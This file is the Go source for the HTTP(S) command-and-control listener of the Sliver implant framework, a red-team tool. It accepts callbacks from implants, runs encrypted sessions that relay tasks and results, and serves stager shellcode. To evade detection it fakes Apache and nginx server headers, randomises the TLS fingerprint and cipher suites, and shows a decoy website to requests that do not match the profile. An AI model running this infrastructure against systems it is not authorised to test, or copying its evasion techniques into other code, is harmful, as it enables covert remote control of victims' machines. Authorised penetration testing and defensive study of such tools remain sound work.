Files

817 lines
25 KiB
Go

package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"encoding/hex"
"errors"
"fmt"
"io"
insecureRand "math/rand"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/website"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"github.com/gorilla/mux"
"google.golang.org/protobuf/proto"
)
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrDecryptFailed = errors.New("failed to decrypt request")
)
const (
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultHTTPTimeout = time.Minute
DefaultLongPollTimeout = time.Second
DefaultLongPollJitter = time.Second
minPollTimeout = time.Second
)
var (
serverVersionHeader string
)
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
}
// HTTPSessions - All currently open HTTP sessions
type HTTPSessions struct {
active map[string]*HTTPSession
mutex *sync.RWMutex
}
// Add - Add an HTTP session
func (s *HTTPSessions) Add(session *HTTPSession) {
s.mutex.Lock()
defer s.mutex.Unlock()
s.active[session.ID] = session
}
// Get - Get an HTTP session
func (s *HTTPSessions) Get(sessionID string) *HTTPSession {
s.mutex.RLock()
defer s.mutex.RUnlock()
return s.active[sessionID]
}
// Remove - Remove an HTTP session
func (s *HTTPSessions) Remove(sessionID string) {
s.mutex.Lock()
defer s.mutex.Unlock()
delete(s.active, sessionID)
}
// HTTPHandler - Path mapped to a handler function
type HTTPHandler func(resp http.ResponseWriter, req *http.Request)
// HTTPServerConfig - Config data for servers
type HTTPServerConfig struct {
Addr string
LPort uint16
Domain string
Website string
Secure bool
Cert []byte
Key []byte
ACME bool
MaxRequestLength int
EnforceOTP bool
LongPollTimeout time.Duration
LongPollJitter time.Duration
RandomizeJARM bool
}
// SliverHTTPC2 - Holds refs to all the C2 objects
type SliverHTTPC2 struct {
HTTPServer *http.Server
ServerConf *HTTPServerConfig // Server config (user args)
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
c2Config *configs.HTTPC2Config // C2 config (from config file)
}
func (s *SliverHTTPC2) getServerHeader() string {
if serverVersionHeader == "" {
switch insecureRand.Intn(2) {
case 0:
serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
serverVersionHeader = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return serverVersionHeader
}
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
if s.c2Config != nil {
return s.c2Config
}
s.c2Config = configs.GetHTTPC2Config()
return s.c2Config
}
// StartHTTPListener - Start an HTTP(S) listener, this can be used to start both
//
// HTTP/HTTPS depending on the caller's conf
//
// TODO: Better error handling, configurable ACME host/port
func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
server := &SliverHTTPC2{
ServerConf: conf,
HTTPSessions: &HTTPSessions{
active: map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
Handler: server.router(),
WriteTimeout: DefaultHTTPTimeout,
ReadTimeout: DefaultHTTPTimeout,
IdleTimeout: DefaultHTTPTimeout,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)),
}
if conf.ACME {
conf.Domain = filepath.Base(conf.Domain) // I don't think we need this, but we do it anyways
httpLog.Infof("Attempting to fetch let's encrypt certificate for '%s' ...", conf.Domain)
acmeManager := certs.GetACMEManager(conf.Domain)
acmeHTTPServer := &http.Server{Addr: ":80", Handler: acmeManager.HTTPHandler(nil)}
go acmeHTTPServer.ListenAndServe()
server.HTTPServer.TLSConfig = &tls.Config{
GetCertificate: acmeManager.GetCertificate,
}
server.Cleanup = func() {
ctx, cancelHTTP := context.WithTimeout(context.Background(), 5*time.Second)
defer cancelHTTP()
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown http acme server")
}
ctx, cancelHTTPS := context.WithTimeout(context.Background(), 5*time.Second)
defer cancelHTTPS()
server.HTTPServer.Shutdown(ctx)
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warn("Failed to shutdown https server")
}
}
} else {
server.HTTPServer.TLSConfig = getHTTPSConfig(conf)
server.Cleanup = func() {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
server.HTTPServer.Shutdown(ctx)
if err := server.HTTPServer.Shutdown(ctx); err != nil {
httpLog.Warn("Failed to shutdown https server")
}
}
}
return server, nil
}
func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {
if conf.Cert == nil || conf.Key == nil {
var err error
if conf.Domain != "" {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
} else {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
}
if err != nil {
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
return nil
}
}
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
if err != nil {
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
return nil
}
tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}}
if !conf.RandomizeJARM {
return tlsConfig
}
// Randomize the JARM fingerprint
switch insecureRand.Intn(4) {
// So it turns out that Windows by default
// disables TLS v1.2 because it's horrible.
// So anyways for compatibility we'll specify
// a min of 1.1 or 1.0
case 0:
// tlsConfig.MinVersion = tls.VersionTLS13
fallthrough // For compatibility with winhttp
case 1:
// tlsConfig.MinVersion = tls.VersionTLS12
fallthrough // For compatibility with winhttp
case 2:
tlsConfig.MinVersion = tls.VersionTLS11
default:
tlsConfig.MinVersion = tls.VersionTLS10
}
// Randomize the cipher suites
allCipherSuites := []uint16{
tls.TLS_RSA_WITH_RC4_128_SHA, //uint16 = 0x0005 1
tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0x000a 2
tls.TLS_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0x002f 3
tls.TLS_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0x0035 4
tls.TLS_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0x003c 5
tls.TLS_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0x009c 6
tls.TLS_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0x009d 7
tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, //uint16 = 0xc007 8
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc009 9
tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc00a 10
tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, //uint16 = 0xc011 11
tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0xc012 12
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc013 13
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc014 14
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc023 15
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02b 18
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc02c 20
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca9 22
}
// CipherSuites ignores the order of the ciphers, this random shuffle
// is truncated resulting in a random selection from all ciphers
insecureRand.Shuffle(len(allCipherSuites), func(i, j int) {
allCipherSuites[i], allCipherSuites[j] = allCipherSuites[j], allCipherSuites[i]
})
nCiphers := insecureRand.Intn(len(allCipherSuites)-8) + 8
tlsConfig.CipherSuites = allCipherSuites[:nCiphers]
// Some TLS 1.2 stacks disable some of the older ciphers like RC4, so to ensure
// compatibility we need to make sure we always choose at least one modern RSA
// option.
modernCiphers := []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21
}
found := false
for _, cipher := range tlsConfig.CipherSuites {
if util.Contains(modernCiphers, cipher) {
found = true // Our random selection contains a modern cipher, do nothing
break
}
}
if !found {
// We are lacking at least one modern RSA option, so randomly enable one
tlsConfig.CipherSuites = append(tlsConfig.CipherSuites, modernCiphers[insecureRand.Intn(len(modernCiphers))])
}
if certs.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
}
return tlsConfig
}
func (s *SliverHTTPC2) router() *mux.Router {
router := mux.NewRouter()
c2Config := s.LoadC2Config()
if s.ServerConf.MaxRequestLength < 1024 {
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
}
if s.ServerConf.LongPollTimeout == 0 {
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
s.ServerConf.LongPollJitter = DefaultLongPollJitter
}
httpLog.Debugf("HTTP C2 Implant Config = %v", c2Config.ImplantConfig)
httpLog.Debugf("HTTP C2 Server Config = %v", c2Config.ServerConfig)
// Start Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
s.startSessionHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
s.sessionHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Poll Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
s.pollHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Close Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
s.closeHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
s.stagerHandler,
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
// Default handler returns static content or 404s
httpLog.Debugf("No pattern matches for request uri")
router.HandleFunc("/{rpath:.*}", s.defaultHandler).Methods(http.MethodGet, http.MethodPost)
router.Use(loggingMiddleware)
router.Use(s.DefaultRespHeaders)
return router
}
func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
}
// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d'", nonce)
return false // NaN
}
return true
}
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
if s.ServerConf.EnforceOTP {
httpLog.Debug("Checking for valid OTP code ...")
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
httpLog.Warnf("Failed to validate OTP: %s", err)
return false
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP: %s", err)
return false
}
if valid {
httpLog.Debug("OTP code is valid")
return true
}
httpLog.Debugf("OTP code (%s) is invalid", otpCode)
return false
} else {
httpLog.Debug("OTP enforcement is disabled")
return true // OTP enforcement is disabled
}
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warn("OTP not found in request")
return "", ErrMissingNonce
}
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
accessLog.Infof("%s - %s - %v", getRemoteAddr(req), req.RequestURI, req.Header.Get("User-Agent"))
next.ServeHTTP(resp, req)
})
}
// DefaultRespHeaders - Configures default response headers
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
if s.c2Config.ServerConfig.RandomVersionHeaders {
resp.Header().Set("Server", s.getServerHeader())
}
for _, header := range s.c2Config.ServerConfig.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < roll {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
next.ServeHTTP(resp, req)
})
}
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) error {
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
if err != nil {
httpLog.Infof("No website content for %s", req.RequestURI)
return err
}
resp.Header().Set("Content-type", contentType)
s.noCacheHeader(resp)
resp.Write(content)
return nil
}
func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Request) {
// Request does not match the C2 profile so we pass it to the static content or 404 handler
if s.ServerConf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
err := s.websiteContentHandler(resp, req)
if err == nil {
return
}
}
httpLog.Debugf("[404] No match for %s", req.RequestURI)
resp.WriteHeader(http.StatusNotFound)
}
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Start http session request")
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return
}
body, err := io.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
s.defaultHandler(resp, req)
return
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
s.defaultHandler(resp, req)
return
}
if len(data) < 32 {
httpLog.Warn("Invalid data length")
s.defaultHandler(resp, req)
return
}
var publicKeyDigest [32]byte
copy(publicKeyDigest[:], data[:32])
implantConfig, err := db.ImplantConfigByECCPublicKeyDigest(publicKeyDigest)
if err != nil || implantConfig == nil {
httpLog.Warn("Unknown public key")
s.defaultHandler(resp, req)
return
}
publicKey, err := base64.RawStdEncoding.DecodeString(implantConfig.ECCPublicKey)
if err != nil || len(publicKey) != 32 {
httpLog.Warn("Failed to decode public key")
s.defaultHandler(resp, req)
return
}
var senderPublicKey [32]byte
copy(senderPublicKey[:], publicKey)
serverKeyPair := cryptography.ECCServerKeyPair()
sessionInitData, err := cryptography.ECCDecrypt(&senderPublicKey, serverKeyPair.Private, data[32:])
if err != nil {
httpLog.Error("ECC decryption failed")
s.defaultHandler(resp, req)
return
}
sessionInit := &sliverpb.HTTPSessionInit{}
err = proto.Unmarshal(sessionInitData, sessionInit)
if err != nil {
httpLog.Error("Failed to decode session init")
return
}
httpSession := newHTTPSession()
sKey, err := cryptography.KeyFromBytes(sessionInit.Key)
if err != nil {
httpLog.Error("Failed to convert bytes to session key")
return
}
httpSession.CipherCtx = cryptography.NewCipherContext(sKey)
httpSession.ImplantConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
s.HTTPSessions.Add(httpSession)
httpLog.Infof("Started new session with http session id: %s", httpSession.ID)
responseCiphertext, err := httpSession.CipherCtx.Encrypt([]byte(httpSession.ID))
if err != nil {
httpLog.Info("Failed to encrypt session identifier")
s.defaultHandler(resp, req)
return
}
http.SetCookie(resp, &http.Cookie{
Domain: s.ServerConf.Domain,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: false,
HttpOnly: true,
})
s.noCacheHeader(resp)
resp.Write(encoder.Encode(responseCiphertext))
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
return
}
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
return
}
resp.WriteHeader(http.StatusAccepted)
handlers := sliverHandlers.GetHandlers()
if envelope.ID != 0 {
httpSession.ImplantConn.RespMutex.RLock()
defer httpSession.ImplantConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplantConn.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
respEnvelope := handler(httpSession.ImplantConn, envelope.Data)
if respEnvelope != nil {
go func() {
httpSession.ImplantConn.Send <- respEnvelope
}()
}
}
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
s.noCacheHeader(resp)
resp.Write(encoder.Encode(ciphertext))
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
s.noCacheHeader(resp)
resp.Write([]byte{})
}
}
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return nil, ErrInvalidEncoder
}
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
if err != nil {
httpLog.Warnf("Failed to read request body %s", err)
return nil, err
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Warnf("Failed to decode body %s", err)
s.defaultHandler(resp, req)
return nil, ErrDecodeFailed
}
plaintext, err := httpSession.CipherCtx.Decrypt(data)
if err != nil {
httpLog.Warnf("Decryption failure %s", err)
s.defaultHandler(resp, req)
return nil, ErrDecryptFailed
}
return plaintext, err
}
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
min := s.ServerConf.LongPollTimeout
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
timeout := float64(min) + insecureRand.Float64()*(float64(max)-float64(min))
pollTimeout := time.Duration(int64(timeout))
if pollTimeout < minPollTimeout {
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
pollTimeout = minPollTimeout
}
httpLog.Debugf("Poll timeout: %s", pollTimeout)
return pollTimeout
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
s.defaultHandler(resp, req)
return
}
for _, cookie := range req.Cookies() {
cookie.MaxAge = -1
http.SetCookie(resp, cookie)
}
s.HTTPSessions.Remove(httpSession.ID)
resp.WriteHeader(http.StatusAccepted)
}
// stagerHandler - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
s.noCacheHeader(resp)
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
} else {
resp.WriteHeader(http.StatusNotFound)
}
}
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.ImplantConn.UpdateLastMessage()
return httpSession
}
}
return nil // No valid cookie names
}
func newHTTPSession() *HTTPSession {
return &HTTPSession{
ID: newHTTPSessionID(),
Started: time.Now(),
}
}
// newHTTPSessionID - Get a 128bit session ID
func newHTTPSessionID() string {
buf := make([]byte, 16)
rand.Read(buf)
return hex.EncodeToString(buf)
}
func getRemoteAddr(req *http.Request) string {
ipAddress := req.Header.Get("X-Real-Ip")
if ipAddress == "" {
ipAddress = req.Header.Get("X-Forwarded-For")
}
if ipAddress == "" {
return req.RemoteAddr
}
// Try to parse the header as an IP address, as this is user controllable
// input we don't want to trust it.
ip := net.ParseIP(ipAddress)
if ip == nil {
httpLog.Warn("Failed to parse X-Header as ip address")
return req.RemoteAddr
}
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
}